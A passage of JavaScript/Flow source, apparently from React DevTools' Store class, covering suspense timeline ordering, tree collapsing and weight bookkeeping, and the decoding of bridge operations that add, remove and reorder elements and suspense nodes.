this.getSuspenseChildren(focusedTransitionID);\n\n    this.pushTimelineStepsInDocumentOrder(\n      transitionChildren,\n      target,\n      uniqueSuspendersOnly,\n      // TODO: Get environment for Activity\n      [],\n      0, // Don't pass a minimum end time at the root. The root is always first so doesn't matter.\n      rendererID,\n    );\n\n    return target;\n  }\n\n  pushTimelineStepsInDocumentOrder(\n    children: Array<SuspenseNode['id']>,\n    target: Array<SuspenseTimelineStep>,\n    uniqueSuspendersOnly: boolean,\n    parentEnvironments: Array<string>,\n    parentEndTime: number,\n    rendererID: number,\n  ): void {\n    for (let i = 0; i < children.length; i++) {\n      const child = this.getSuspenseByID(children[i]);\n      if (child === null) {\n        continue;\n      }\n      // Ignore any suspense boundaries that has no visual representation as this is not\n      // part of the visible loading sequence.\n      // TODO: Consider making visible meta data and other side-effects get virtual rects.\n      const hasRects =\n        child.rects !== null &&\n        child.rects.length > 0 &&\n        child.rects.some(isNonZeroRect);\n      const childEnvironments = child.environments;\n      // Since children are blocked on the parent, they're also blocked by the parent environments.\n      // Only if we discover a novel environment do we add that and it becomes the name we use.\n      const unionEnvironments = unionOfTwoArrays(\n        parentEnvironments,\n        childEnvironments,\n      );\n      const environmentName =\n        unionEnvironments.length > 0\n          ? unionEnvironments[unionEnvironments.length - 1]\n          : null;\n      // The end time of a child boundary can in effect never be earlier than its parent even if\n      // everything unsuspended before that.\n      const maxEndTime =\n        parentEndTime > child.endTime ? parentEndTime : child.endTime;\n      if (hasRects && (!uniqueSuspendersOnly || child.hasUniqueSuspenders)) {\n        target.push({\n          id: child.id,\n          environment: environmentName,\n          endTime: maxEndTime,\n          rendererID,\n        });\n      }\n      this.pushTimelineStepsInDocumentOrder(\n        child.children,\n        target,\n        uniqueSuspendersOnly,\n        unionEnvironments,\n        maxEndTime,\n        rendererID,\n      );\n    }\n  }\n\n  getEndTimeOrDocumentOrderSuspense(\n    uniqueSuspendersOnly: boolean,\n  ): $ReadOnlyArray<SuspenseTimelineStep> {\n    let timeline: SuspenseTimelineStep[];\n    if (this._focusedTransition === 0) {\n      timeline =\n        this.getSuspendableDocumentOrderSuspenseInitialPaint(\n          uniqueSuspendersOnly,\n        );\n    } else {\n      const focusedTransitionRootID = this.getRootIDForElement(\n        this._focusedTransition,\n      );\n      if (focusedTransitionRootID === null) {\n        throw new Error(\n          'Failed to find root ID for focused transition. This is a bug in React DevTools.',\n        );\n      }\n      const rendererID = this._rootIDToRendererID.get(focusedTransitionRootID);\n      if (rendererID === undefined) {\n        throw new Error(\n          'Failed to find renderer ID for focused transition root. This is a bug in React DevTools.',\n        );\n      }\n      timeline = this.getSuspendableDocumentOrderSuspenseTransition(\n        uniqueSuspendersOnly,\n        rendererID,\n      );\n    }\n\n    if (timeline.length === 0) {\n      return timeline;\n    }\n    const root = timeline[0];\n    // We mutate in place since we assume we've got a fresh array.\n    timeline.sort((a, b) => {\n      // Root is always first\n      return a === root ? -1 : b === root ? 1 : a.endTime - b.endTime;\n    });\n    return timeline;\n  }\n\n  getActivities(): Array<{id: Element['id'], depth: number}> {\n    const target: Array<{id: Element['id'], depth: number}> = [];\n    // TODO: Keep a live tree in the backend so we don't need to recalculate\n    // this each time while also including filtered Activities.\n    this._pushActivitiesInDocumentOrder(this.roots, target, 0);\n    return target;\n  }\n\n  _pushActivitiesInDocumentOrder(\n    children: $ReadOnlyArray<Element['id']>,\n    target: Array<{id: Element['id'], depth: number}>,\n    depth: number,\n  ): void {\n    for (let i = 0; i < children.length; i++) {\n      const child = this._idToElement.get(children[i]);\n      if (child === undefined) {\n        continue;\n      }\n      if (child.type === ElementTypeActivity && child.nameProp !== null) {\n        target.push({id: child.id, depth});\n        this._pushActivitiesInDocumentOrder(child.children, target, depth + 1);\n      } else {\n        this._pushActivitiesInDocumentOrder(child.children, target, depth);\n      }\n    }\n  }\n\n  getRendererIDForElement(id: number): number | null {\n    let current = this._idToElement.get(id);\n    while (current !== undefined) {\n      if (current.parentID === 0) {\n        const rendererID = this._rootIDToRendererID.get(current.id);\n        return rendererID == null ? null : rendererID;\n      } else {\n        current = this._idToElement.get(current.parentID);\n      }\n    }\n    return null;\n  }\n\n  getRootIDForElement(id: number): number | null {\n    let current = this._idToElement.get(id);\n    while (current !== undefined) {\n      if (current.parentID === 0) {\n        return current.id;\n      } else {\n        current = this._idToElement.get(current.parentID);\n      }\n    }\n    return null;\n  }\n\n  isInsideCollapsedSubTree(id: number): boolean {\n    let current = this._idToElement.get(id);\n    while (current != null) {\n      if (current.parentID === 0) {\n        return false;\n      } else {\n        current = this._idToElement.get(current.parentID);\n        if (current != null && current.isCollapsed) {\n          return true;\n        }\n      }\n    }\n    return false;\n  }\n\n  // TODO Maybe split this into two methods: expand() and collapse()\n  toggleIsCollapsed(id: number, isCollapsed: boolean): void {\n    let didMutate = false;\n\n    const element = this.getElementByID(id);\n    if (element !== null) {\n      if (isCollapsed) {\n        if (element.type === ElementTypeRoot) {\n          this._throwAndEmitError(Error('Root nodes cannot be collapsed'));\n        }\n\n        if (!element.isCollapsed) {\n          didMutate = true;\n          element.isCollapsed = true;\n\n          const weightDelta = 1 - element.weight;\n\n          let parentElement = this._idToElement.get(element.parentID);\n          while (parentElement !== undefined) {\n            // We don't need to break on a collapsed parent in the same way as the expand case below.\n            // That's because collapsing a node doesn't \"bubble\" and affect its parents.\n            parentElement.weight += weightDelta;\n            parentElement = this._idToElement.get(parentElement.parentID);\n          }\n        }\n      } else {\n        let currentElement: ?Element = element;\n        while (currentElement != null) {\n          const oldWeight = currentElement.isCollapsed\n            ? 1\n            : currentElement.weight;\n\n          if (currentElement.isCollapsed) {\n            didMutate = true;\n            currentElement.isCollapsed = false;\n\n            const newWeight = currentElement.isCollapsed\n              ? 1\n              : currentElement.weight;\n            const weightDelta = newWeight - oldWeight;\n\n            let parentElement = this._idToElement.get(currentElement.parentID);\n            while (parentElement !== undefined) {\n              parentElement.weight += weightDelta;\n              if (parentElement.isCollapsed) {\n                // It's important to break on a collapsed parent when expanding nodes.\n                // That's because expanding a node \"bubbles\" up and expands all parents as well.\n                // Breaking in this case prevents us from over-incrementing the expanded weights.\n                break;\n              }\n              parentElement = this._idToElement.get(parentElement.parentID);\n            }\n          }\n\n          currentElement =\n            currentElement.parentID !== 0\n              ? this.getElementByID(currentElement.parentID)\n              : null;\n        }\n      }\n\n      // Only re-calculate weights and emit an \"update\" event if the store was mutated.\n      if (didMutate) {\n        let weightAcrossRoots = 0;\n        this._roots.forEach(rootID => {\n          const {weight} = ((this.getElementByID(rootID): any): Element);\n          weightAcrossRoots += weight;\n        });\n        this._weightAcrossRoots = weightAcrossRoots;\n\n        // The Tree context's search reducer expects an explicit list of ids for nodes that were added or removed.\n        // In this  case, we can pass it empty arrays since nodes in a collapsed tree are still there (just hidden).\n        // Updating the selected search index later may require auto-expanding a collapsed subtree though.\n        this.emit('mutated', [[], new Map(), null]);\n      }\n    }\n  }\n\n  _adjustParentTreeWeight: (\n    parentElement: ?Element,\n    weightDelta: number,\n  ) => void = (parentElement, weightDelta) => {\n    let isInsideCollapsedSubTree = false;\n\n    while (parentElement != null) {\n      parentElement.weight += weightDelta;\n\n      // Additions and deletions within a collapsed subtree should not bubble beyond the collapsed parent.\n      // Their weight will bubble up when the parent is expanded.\n      if (parentElement.isCollapsed) {\n        isInsideCollapsedSubTree = true;\n        break;\n      }\n\n      parentElement = this._idToElement.get(parentElement.parentID);\n    }\n\n    // Additions and deletions within a collapsed subtree should not affect the overall number of elements.\n    if (!isInsideCollapsedSubTree) {\n      this._weightAcrossRoots += weightDelta;\n    }\n  };\n\n  _recursivelyUpdateSubtree(\n    id: number,\n    callback: (element: Element) => void,\n  ): void {\n    const element = this._idToElement.get(id);\n    if (element) {\n      callback(element);\n\n      element.children.forEach(child =>\n        this._recursivelyUpdateSubtree(child, callback),\n      );\n    }\n  }\n\n  onBridgeNativeStyleEditorSupported: ({\n    isSupported: boolean,\n    validAttributes: ?$ReadOnlyArray<string>,\n  }) => void = ({isSupported, validAttributes}) => {\n    this._isNativeStyleEditorSupported = isSupported;\n    this._nativeStyleEditorValidAttributes = validAttributes || null;\n\n    this.emit('supportsNativeStyleEditor');\n  };\n\n  onBridgeOperations: (operations: Array<number>) => void = operations => {\n    if (__DEBUG__) {\n      console.groupCollapsed('onBridgeOperations');\n      debug('onBridgeOperations', operations.join(','));\n    }\n\n    let haveRootsChanged = false;\n    let haveErrorsOrWarningsChanged = false;\n    let hasSuspenseTreeChanged = false;\n\n    // The first two values are always rendererID and rootID\n    const rendererID = operations[0];\n\n    const addedElementIDs: Array<number> = [];\n    // This is a mapping of removed ID -> parent ID:\n    // We'll use the parent ID to adjust selection if it gets deleted.\n    const removedElementIDs: Map<number, number> = new Map();\n    const removedSuspenseIDs: Map<SuspenseNode['id'], SuspenseNode['id']> =\n      new Map();\n    let nextActivitySliceID: Element['id'] | null = null;\n\n    let i = 2;\n\n    // Reassemble the string table.\n    const stringTable: Array<string | null> = [\n      null, // ID = 0 corresponds to the null string.\n    ];\n    const stringTableSize = operations[i];\n    i++;\n\n    const stringTableEnd = i + stringTableSize;\n\n    while (i < stringTableEnd) {\n      const nextLength = operations[i];\n      i++;\n\n      const nextString = utfDecodeStringWithRanges(\n        operations,\n        i,\n        i + nextLength - 1,\n      );\n      stringTable.push(nextString);\n      i += nextLength;\n    }\n\n    while (i < operations.length) {\n      const operation = operations[i];\n      switch (operation) {\n        case TREE_OPERATION_ADD: {\n          const id = operations[i + 1];\n          const type = ((operations[i + 2]: any): ElementType);\n\n          i += 3;\n\n          if (this._idToElement.has(id)) {\n            this._throwAndEmitError(\n              Error(\n                `Cannot add node \"${id}\" because a node with that id is already in the Store.`,\n              ),\n            );\n          }\n\n          if (type === ElementTypeRoot) {\n            if (__DEBUG__) {\n              debug('Add', `new root node ${id}`);\n            }\n\n            const isStrictModeCompliant = operations[i] > 0;\n            i++;\n\n            const profilerFlags = operations[i++];\n            const supportsBasicProfiling =\n              (profilerFlags & PROFILING_FLAG_BASIC_SUPPORT) !== 0;\n            const supportsTimeline =\n              (profilerFlags & PROFILING_FLAG_TIMELINE_SUPPORT) !== 0;\n            const supportsPerformanceTracks =\n              (profilerFlags & PROFILING_FLAG_PERFORMANCE_TRACKS_SUPPORT) !== 0;\n            let supportsAdvancedProfiling: AdvancedProfiling =\n              ADVANCED_PROFILING_NONE;\n            if (supportsPerformanceTracks) {\n              supportsAdvancedProfiling = ADVANCED_PROFILING_PERFORMANCE_TRACKS;\n            } else if (supportsTimeline) {\n              supportsAdvancedProfiling = ADVANCED_PROFILING_TIMELINE;\n            }\n\n            let supportsStrictMode = false;\n            let hasOwnerMetadata = false;\n\n            // If we don't know the bridge protocol, guess that we're dealing with the latest.\n            // If we do know it, we can take it into consideration when parsing operations.\n            if (\n              this._bridgeProtocol === null ||\n              this._bridgeProtocol.version >= 2\n            ) {\n              supportsStrictMode = operations[i] > 0;\n              i++;\n\n              hasOwnerMetadata = operations[i] > 0;\n              i++;\n            }\n\n            this._roots = this._roots.concat(id);\n            this._rootIDToRendererID.set(id, rendererID);\n            this._rootIDToCapabilities.set(id, {\n              supportsBasicProfiling,\n              hasOwnerMetadata,\n              supportsStrictMode,\n              supportsAdvancedProfiling,\n            });\n\n            // Not all roots support StrictMode;\n            // don't flag a root as non-compliant unless it also supports StrictMode.\n            const isStrictModeNonCompliant =\n              !isStrictModeCompliant && supportsStrictMode;\n\n            this._idToElement.set(id, {\n              children: [],\n              depth: -1,\n              displayName: null,\n              hocDisplayNames: null,\n              id,\n              isCollapsed: false, // Never collapse roots; it would hide the entire tree.\n              isStrictModeNonCompliant,\n              isActivityHidden: false,\n              isInsideHiddenActivity: false,\n              key: null,\n              nameProp: null,\n              ownerID: 0,\n              parentID: 0,\n              type,\n              weight: 0,\n              compiledWithForget: false,\n            });\n\n            haveRootsChanged = true;\n          } else {\n            const parentID = operations[i];\n            i++;\n\n            const ownerID = operations[i];\n            i++;\n\n            const displayNameStringID = operations[i];\n            const displayName = stringTable[displayNameStringID];\n            i++;\n\n            const keyStringID = operations[i];\n            const key = stringTable[keyStringID];\n            i++;\n\n            const namePropStringID = operations[i];\n            const nameProp = stringTable[namePropStringID];\n            i++;\n\n            if (__DEBUG__) {\n              debug(\n                'Add',\n                `node ${id} (${displayName || 'null'}) as child of ${parentID}`,\n              );\n            }\n\n            const parentElement = this._idToElement.get(parentID);\n            if (parentElement === undefined) {\n              this._throwAndEmitError(\n                Error(\n                  `Cannot add child \"${id}\" to parent \"${parentID}\" because parent node was not found in the Store.`,\n                ),\n              );\n\n              break;\n            }\n\n            parentElement.children.push(id);\n\n            const {\n              formattedDisplayName: displayNameWithoutHOCs,\n              hocDisplayNames,\n              compiledWithForget,\n            } = parseElementDisplayNameFromBackend(displayName, type);\n\n            const elementDepth = parentElement.depth + 1;\n            this._maximumRecordedDepth = Math.max(\n              this._maximumRecordedDepth,\n              elementDepth,\n            );\n\n            const element: Element = {\n              children: [],\n              depth: elementDepth,\n              displayName: displayNameWithoutHOCs,\n              hocDisplayNames,\n              id,\n              isCollapsed: this._collapseNodesByDefault,\n              isStrictModeNonCompliant: parentElement.isStrictModeNonCompliant,\n              isActivityHidden: false,\n              isInsideHiddenActivity:\n                parentElement.isInsideHiddenActivity ||\n                parentElement.isActivityHidden,\n              key,\n              nameProp,\n              ownerID,\n              parentID,\n              type,\n              weight: 1,\n              compiledWithForget,\n            };\n\n            this._idToElement.set(id, element);\n            addedElementIDs.push(id);\n            this._adjustParentTreeWeight(parentElement, 1);\n\n            if (ownerID > 0) {\n              let set = this._ownersMap.get(ownerID);\n              if (set === undefined) {\n                set = new Set();\n                this._ownersMap.set(ownerID, set);\n              }\n              set.add(id);\n            }\n\n            const suspense = this._idToSuspense.get(id);\n            if (suspense !== undefined) {\n              // We're reconnecting a node.\n              if (suspense.name === null) {\n                suspense.name = this._guessSuspenseName(element);\n              }\n            }\n          }\n          break;\n        }\n        case TREE_OPERATION_REMOVE: {\n          const removeLength = operations[i + 1];\n          i += 2;\n\n          for (let removeIndex = 0; removeIndex < removeLength; removeIndex++) {\n            const id = operations[i];\n            const element = this._idToElement.get(id);\n\n            if (element === undefined) {\n              this._throwAndEmitError(\n                Error(\n                  `Cannot remove node \"${id}\" because no matching node was found in the Store.`,\n                ),\n              );\n\n              break;\n            }\n\n            i += 1;\n\n            const {children, ownerID, parentID, weight} = element;\n            if (children.length > 0) {\n              this._throwAndEmitError(\n                Error(`Node \"${id}\" was removed before its children.`),\n              );\n            }\n\n            this._idToElement.delete(id);\n\n            let parentElement: ?Element = null;\n            if (parentID === 0) {\n              if (__DEBUG__) {\n                debug('Remove', `node ${id} root`);\n              }\n\n              this._roots = this._roots.filter(rootID => rootID !== id);\n              this._rootIDToRendererID.delete(id);\n              this._rootIDToCapabilities.delete(id);\n\n              haveRootsChanged = true;\n            } else {\n              if (__DEBUG__) {\n                debug('Remove', `node ${id} from parent ${parentID}`);\n              }\n\n              parentElement = this._idToElement.get(parentID);\n              if (parentElement === undefined) {\n                this._throwAndEmitError(\n                  Error(\n                    `Cannot remove node \"${id}\" from parent \"${parentID}\" because no matching node was found in the Store.`,\n                  ),\n                );\n\n                break;\n              }\n\n              const index = parentElement.children.indexOf(id);\n              parentElement.children.splice(index, 1);\n            }\n\n            this._adjustParentTreeWeight(parentElement, -weight);\n            removedElementIDs.set(id, parentID);\n\n            this._ownersMap.delete(id);\n            if (ownerID > 0) {\n              const set = this._ownersMap.get(ownerID);\n              if (set !== undefined) {\n                set.delete(id);\n              }\n            }\n\n            if (this._errorsAndWarnings.has(id)) {\n              this._errorsAndWarnings.delete(id);\n              haveErrorsOrWarningsChanged = true;\n            }\n          }\n\n          break;\n        }\n        case TREE_OPERATION_REORDER_CHILDREN: {\n          const id = operations[i + 1];\n          const numChildren = operations[i + 2];\n          i += 3;\n\n          const element = this._idToElement.get(id);\n          if (element === undefined) {\n            this._throwAndEmitError(\n              Error(\n                `Cannot reorder children for node \"${id}\" because no matching node was found in the Store.`,\n              ),\n            );\n\n            break;\n          }\n\n          const children = element.children;\n          if (children.length !== numChildren) {\n            this._throwAndEmitError(\n              Error(\n                `Children cannot be added or removed during a reorder operation.`,\n              ),\n            );\n          }\n\n          for (let j = 0; j < numChildren; j++) {\n            const childID = operations[i + j];\n            children[j] = childID;\n            if (__DEV__) {\n              // This check is more expensive so it's gated by __DEV__.\n              const childElement = this._idToElement.get(childID);\n              if (childElement == null || childElement.parentID !== id) {\n                console.error(\n                  `Children cannot be added or removed during a reorder operation.`,\n                );\n              }\n            }\n          }\n          i += numChildren;\n\n          if (__DEBUG__) {\n            debug('Re-order', `Node ${id} children ${children.join(',')}`);\n          }\n          break;\n        }\n        case TREE_OPERATION_SET_SUBTREE_MODE: {\n          const id = operations[i + 1];\n          const mode = operations[i + 2];\n\n          i += 3;\n\n          // If elements have already been mounted in this subtree, update them.\n          // (In practice, this likely only applies to the root element.)\n          if (mode === StrictMode) {\n            this._recursivelyUpdateSubtree(id, element => {\n              element.isStrictModeNonCompliant = false;\n            });\n          } else if (mode === ActivityHiddenMode) {\n            const element = this._idToElement.get(id);\n            if (element != null) {\n              element.isActivityHidden = true;\n              element.children.forEach(childID =>\n                this._recursivelyUpdateSubtree(childID, child => {\n                  child.isInsideHiddenActivity = true;\n                }),\n              );\n              // Collapse hidden Activity subtrees by default.\n              if (!element.isCollapsed) {\n                element.isCollapsed = true;\n                if (element.children.length > 0) {\n                  const weightDelta = 1 - element.weight;\n                  const parentElement = this._idToElement.get(element.parentID);\n                  this._adjustParentTreeWeight(parentElement, weightDelta);\n                }\n              }\n            }\n          } else if (mode === ActivityVisibleMode) {\n            const element = this._idToElement.get(id);\n            if (element != null) {\n              element.isActivityHidden = false;\n              element.children.forEach(childID =>\n                this._recursivelyUpdateSubtree(childID, child => {\n                  child.isInsideHiddenActivity = false;\n                }),\n              );\n              // Expand Activity subtree when it becomes visible.\n              if (element.isCollapsed && element.children.length > 0) {\n                element.isCollapsed = false;\n                const weightDelta = element.weight - 1;\n                const parentElement = this._idToElement.get(element.parentID);\n                this._adjustParentTreeWeight(parentElement, weightDelta);\n              }\n            }\n          }\n\n          if (__DEBUG__) {\n            debug(\n              'Subtree mode',\n              `Subtree with root ${id} set to mode ${mode}`,\n            );\n          }\n          break;\n        }\n        case TREE_OPERATION_UPDATE_TREE_BASE_DURATION:\n          // Base duration updates are only sent while profiling is in progress.\n          // We can ignore them at this point.\n          // The profiler UI uses them lazily in order to generate the tree.\n          i += 3;\n          break;\n        case TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS: {\n          const id = operations[i + 1];\n          const errorCount = operations[i + 2];\n          const warningCount = operations[i + 3];\n\n          i += 4;\n\n          if (errorCount > 0 || warningCount > 0) {\n            this._errorsAndWarnings.set(id, {errorCount, warningCount});\n          } else if (this._errorsAndWarnings.has(id)) {\n            this._errorsAndWarnings.delete(id);\n          }\n          haveErrorsOrWarningsChanged = true;\n          break;\n        }\n        case SUSPENSE_TREE_OPERATION_ADD: {\n          const id = operations[i + 1];\n          const parentID = operations[i + 2];\n          const nameStringID = operations[i + 3];\n          const isSuspended = operations[i + 4] === 1;\n          const numRects = ((operations[i + 5]: any): number);\n          let name = stringTable[nameStringID];\n\n          if (this._idToSuspense.has(id)) {\n            this._throwAndEmitError(\n              Error(\n                `Cannot add suspense node \"${id}\" because a suspense node with that id is already in the Store.`,\n              ),\n            );\n          }\n\n          const element = this._idToElement.get(id);\n          if (element === undefined) {\n            // This element isn't connected yet.\n          } else {\n            if (name === null) {\n              // The boundary isn't explicitly named.\n              // Pick a sensible default.\n              if (parentID === 0) {\n                // For Roots we use their display name.\n                name = element.displayName;\n              } else {\n                name = this._guessSuspenseName(element);\n              }\n            }\n          }\n\n          i += 6;\n          let rects: SuspenseNode['rects'];\n          if (numRects === -1) {\n            rects = null;\n          } else {\n            rects = [];\n            for (let rectIndex = 0; rectIndex < numRects; rectIndex++) {\n              const x = operations[i + 0] / 1000;\n              const y = operations[i + 1] / 1000;\n              const width = operations[i + 2] / 1000;\n              const height = operations[i + 3] / 1000;\n              const rect = {x, y, width, height};\n              if (parentID !== 0) {\n                // Track all rects except the root.\n                this._rtree.insert(rect);\n              }\n              rects.push(rect);\n              i += 4;\n            }\n          }\n\n          if (__DEBUG__) {\n            debug('Suspense Add', `node ${id} as child of ${parentID}`);\n          }\n\n          if (parentID !== 0) {\n            const parentSuspense = this._idToSuspense.get(parentID);\n            if (parentSuspense === undefined) {\n              this._throwAndEmitError(\n                Error(\n                  `Cannot add suspense child \"${id}\" to parent suspense \"${parentID}\" because parent suspense node was not found in the Store.`,\n                ),\n              );\n\n              break;\n            }\n\n            parentSuspense.children.push(id);\n          }\n\n          this._idToSuspense.set(id, {\n            id,\n            parentID,\n            children: [],\n            name,\n            rects,\n            hasUniqueSuspenders: false,\n            isSuspended: isSuspended,\n            environments: [],\n            endTime: 0,\n          });\n\n          hasSuspenseTreeChanged = true;\n          break;\n        }\n        case SUSPENSE_TREE_OPERATION_REMOVE: {\n          const removeLength = operations[i + 1];\n          i += 2;\n\n          for (let removeIndex = 0; removeIndex < removeLength; removeIndex++) {\n            const id = operations[i];\n            const suspense = this._idToSuspense.get(id);\n\n            if (suspense === undefined) {\n              this._throwAndEmitError(\n                Error(\n                  `Cannot remove suspense node \"${id}\" because no matching node was found in the Store.`,\n                ),\n              );\n\n              break;\n            }\n\n            i += 1;\n\n            const {children, parentID, rects} = suspense;\n            if (children.length > 0) {\n              this._throwAndEmitError(\n                Error(`Suspense node \"${id}\" was removed before its children.`),\n              );\n            }\n\n            if (rects !== null && parentID !== 0) {\n              // Delete all the existing rects from the R-tree\n              for (let j = 0; j < rects.length; j++) {\n                this._rtree.remove(rects[j]);\n              }\n            }\n\n            this._idToSuspense.delete(id);\n            removedSuspenseIDs.set(id, parentID);\n\n            let parentSuspense: ?SuspenseNode = null;\n            if (parentID === 0) {\n              if (__DEBUG__) {\n                debug('Suspense remove', `node ${id} root`);\n              }\n            } else {\n              if (__DEBUG__) {\n                debug('Suspense Remove', `node ${id} from parent ${parentID}`);\n              }\n\n              parentSuspense = this._idToSuspense.get(parentID);\n              if (parentSuspense === undefined) {\n                this._throwAndEmitError(\n                  Error(\n                    `Cannot remove suspense node \"${id}\" from parent \"${parentID}\" because no matching node was found in the Store.`,\n                  ),\n                );\n\n                break;\n              }\n\n              const index = parentSuspense.children.indexOf(id);\n              if (index === -1) {\n                this._throwAndEmitError(\n                  Error(\n                    `Cannot remove suspense node \"${id}\" from parent \"${parentID}\" because it is not a child of the parent.`,\n                  ),\n                );\n              }\n              parentSuspense.children.splice(index, 1);\n            }\n          }\n\n          hasSuspenseTreeChanged = true;\n          break;\n        }\n        case SUSPENSE_TREE_OPERATION_REORDER_CHILDREN: {\n          const id = operations[i + 1];\n          const numChildren = operations[i + 2];\n          i += 3;\n\n          const suspense = this._idToSuspense.get(id);\n          if (suspense === undefined) {\n            this._throwAndEmitError(\n              Error(\n                `Cannot reorder children for suspense node \"${id}\" because no matching node was found in the Store.`,\n              ),\n            );\n\n            break;\n          }\n\n          const children = suspense.children;\n          if (children.length !== numChildren) {\n            this._throwAndEmitError(\n              Error(\n                `Suspense children cannot be added or removed during a reorder operation.`,\n              ),\n            );\n          }\n\n          for (let j = 0; j < numChildren; j++) {\n            const childID = operations[i + j];\n            children[j] = childID;\n            if (__DEV__) {\n              // This check is more expensive so it's gated by __DEV__.\n              const childSuspense = this._idToSuspense.get(childID);\n              if (childSuspense == null || childSuspense.parentID !== id) {\n                console.error(\n                  `Suspense children cannot be added or removed during a reorder operation.`,\n                );\n              }\n            }\n          }\n          i += numChildren;\n\n          if (__DEBUG__) {\n            debug(\n              'Re-order',\n              `Suspense node ${id} children ${children.join(',')}`,\n            );\n          }\n\n          hasSuspenseTreeChanged = true;\n          break;\n        }\n        case SUSPENSE_TREE_OPERATION_RESIZE: {\n          const id = ((operations[i + 1]: any): number);\n          const numRects = ((operations[i + 2]: any): number);\n          i += 3;\n\n          const suspense = this._idToSuspense.get(id);\n          if (suspense === undefined) {\n            this._throwAndEmitError(\n              Error(\n                `Cannot set rects for suspense node \"${id}\" because no matching node was found in the Store.`,\n              ),\n            );\n\n            break;\n          }\n\n          const prevRects = suspense.rects;\n          if (prevRects !== null && suspense.parentID !== 0) {\n            // Delete all the existing rects from the R-tree\n            for (let j = 0; j < prevRects.length; j++) {\n              this._rtree.remove(prevRects[j]);\n            }\n          }\n\n          let nextRects: SuspenseNode['rects'];\n          if (numRects === -1) {\n            nextRects = null;\n          } else {\n            nextRects = [];\n            for (let rectIndex = 0; rectIndex < numRects; rectIndex++) {\n              const x = operations[i + 0] / 1000;\n              const y = operations[i + 1] / 1000;\n              const width = operations[i + 2] / 1000;\n              const height = operations[i + 3] / 1000;\n\n              const rect = {x, y, width, height};\n              if (suspense.parentID !== 0) {\n                // Track all rects except the root.\n                this._rtree.insert(rect);\n              }\n              nextRects.push(rect);\n\n              i += 4;\n            }\n          }\n\n          suspense.rects = nextRects;\n\n          if (__DEBUG__) {\n            debug(\n              'Resize',\n              `Suspense node ${id} resize to ${\n                nextRects === null\n                  ? 'null'\n                  : nextRects\n                      .map(\n                        rect =>\n                          `(${rect.x},${rect.y},${rect.width},${rect.height})`,\n                      )\n                      .join(',')\n              }`,\n            );\n          }\n\n          hasSuspenseTreeChanged = true;\n\n          break;\n        }\n        case SUSPENSE_TREE_OPERATION_SUSPENDERS: {\n          i++;\n          const changeLength = operations[i++];\n\n          for (let changeIndex = 0; changeIndex < changeLength; changeIndex++) {\n            const id = operations[i++];\n            const hasUniqueSuspenders = operations[i++] === 1;\n            const endTime = operations[i++] / 1000;\n            const isSuspended = operations[i++] === 1;\n            const environmentNamesLength = operations[i++];\n            const environmentNames = [];\n            for (\n              let envIndex = 0;\n              envIndex < environmentNamesLength;\n              envIndex++\n            ) {\n              const environmentNameStringID = operations[i++];\n              const environmentName = stringTable[environmentNameStringID];\n              if (environmentName != null) {\n                environmentNames.push(environmentName);\n              }\n            }\n            const suspense = this._idToSuspense.get(id);\n\n            if (suspense === undefined) {\n              this._throwAndEmitError(\n                Error(\n                  `Cannot update suspenders of suspense node \"${id}\" because no matching node was found in the Store.`,\n                ),\n              );\n\n              break;\n            }\n\n            if (__DEBUG__) {\n              const previousHasUniqueSuspenders = suspense.hasUniqueSuspenders;\n              debug(\n                'Suspender changes',\n                `Suspense node ${id} unique suspenders set to ${String(\n                  hasUniqueSuspenders,\n                )} (was ${String(previousHasUniqueSuspenders)})`,\n              );\n            }\n\n            suspense.hasUniqueSuspenders = hasUniqueSuspenders;\n            suspense.endTime = endTime;\n            suspense.isSuspended = isSuspended;\n            suspense.environments = environmentNames;\n          }\n\n          hasSuspenseTreeChanged = true;\n\n          break;\n        }\n        case TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE: {\n          i++;\n          nextActivitySliceID = operations[i++];\n          break;\n        }\n        default:\n          this._throwAndEmitError(\n            new UnsupportedBridgeOperationError(\n              `Unsupported Bridge operation \"${operation}\"`,\n            ),\n          );\n      }\n    }\n\n    this._revision++;\n    if (hasSuspenseTreeChanged) {\n      this._revisionSuspense++;\n    }\n\n    // Any time the tree changes (e.g. elements added, removed, or reordered) cached indices may be invalid.\n    this._cachedErrorAndWarningTuples = null;\n\n    if (haveErrorsOrWarningsChanged) {\n      let componentWithErrorCount = 0;\n      let componentWithWarningCount = 0;\n\n      this._errorsAndWarnings.forEach(entry => {\n        if (entry.errorCount > 0) {\n          componentWithErrorCount++;\n        }\n\n        if (entry.warningCount > 0) {\n          componentWithWarningCount++;\n        }\n      });\n\n      this._cachedComponentWithErrorCount = componentWithErrorCount;\n      this._cachedComponentWithWarningCount = componentWithWarningCount;\n    }\n\n    if (haveRootsChanged) {\n      const prevRootSupportsProfiling = this._rootSupportsBasicProfiling;\n      const prevRootSupportsTimelineProfiling =\n        this._rootSupportsTimelineProfiling;\n      const prevRootSupportsPerformanceTracks =\n        this._rootSupportsPerformanceTracks;\n\n      this._hasOwnerMetadata = false;\n      this._rootSupportsBasicProfiling = false;\n      this._rootSupportsTimelineProfiling = false;\n      this._rootSupportsPerformanceTracks = false;\n      this._rootIDToCapabilities.forEach(\n        ({\n          supportsBasicProfiling,\n          hasOwnerMetadata,\n          supportsAdvancedProfiling,\n        }) => {\n          if (supportsBasicProfiling) {\n            this._rootSupportsBasicProfiling = true;\n          }\n          if (hasOwnerMetadata) {\n            this._hasOwnerMetadata = true;\n          }\n          if (supportsAdvancedProfiling === ADVANCED_PROFILING_TIMELINE) {\n            this._rootSupportsTimelineProfiling = true;\n          }\n          if (\n            supportsAdvancedProfiling === ADVANCED_PROFILING_PERFORMANCE_TRACKS\n          ) {\n            this._rootSupportsPerformanceTracks = true;\n          }\n        },\n      );\n\n      this.emit('roots');\n\n      if (this._rootSupportsBasicProfiling !== prevRootSupportsProfiling) {\n        this.emit('rootSupportsBasicProfiling');\n      }\n\n      if (\n        this._rootSupportsTimelineProfiling !==\n        prevRootSupportsTimelineProfiling\n      ) {\n        this.emit('rootSupportsTimelineProfiling');\n      }\n      if (\n        this._rootSupportsPerformanceTracks !==\n        prevRootSupportsPerformanceTracks\n      ) {\n        this.emit('rootSupportsPerformanceTracks');\n      }\n    }\n\n    if (hasSuspenseTreeChanged) {\n      this.emit('suspenseTreeMutated', [removedSuspenseIDs]);\n    }\n\n    if (__DEBUG__) {\n      console.log(printStore(this, true));\n      console.groupEnd();\n    }\n\n    if (nextActivitySliceID !== null && nextActivitySliceID !== 0) {\n      let didCollapse = false;\n      // The backend filtered everything above the Activity slice.\n      // We need to hide everything below the Activity slice by collapsing\n      // the Activities that are descendants of the next Activity slice.\n      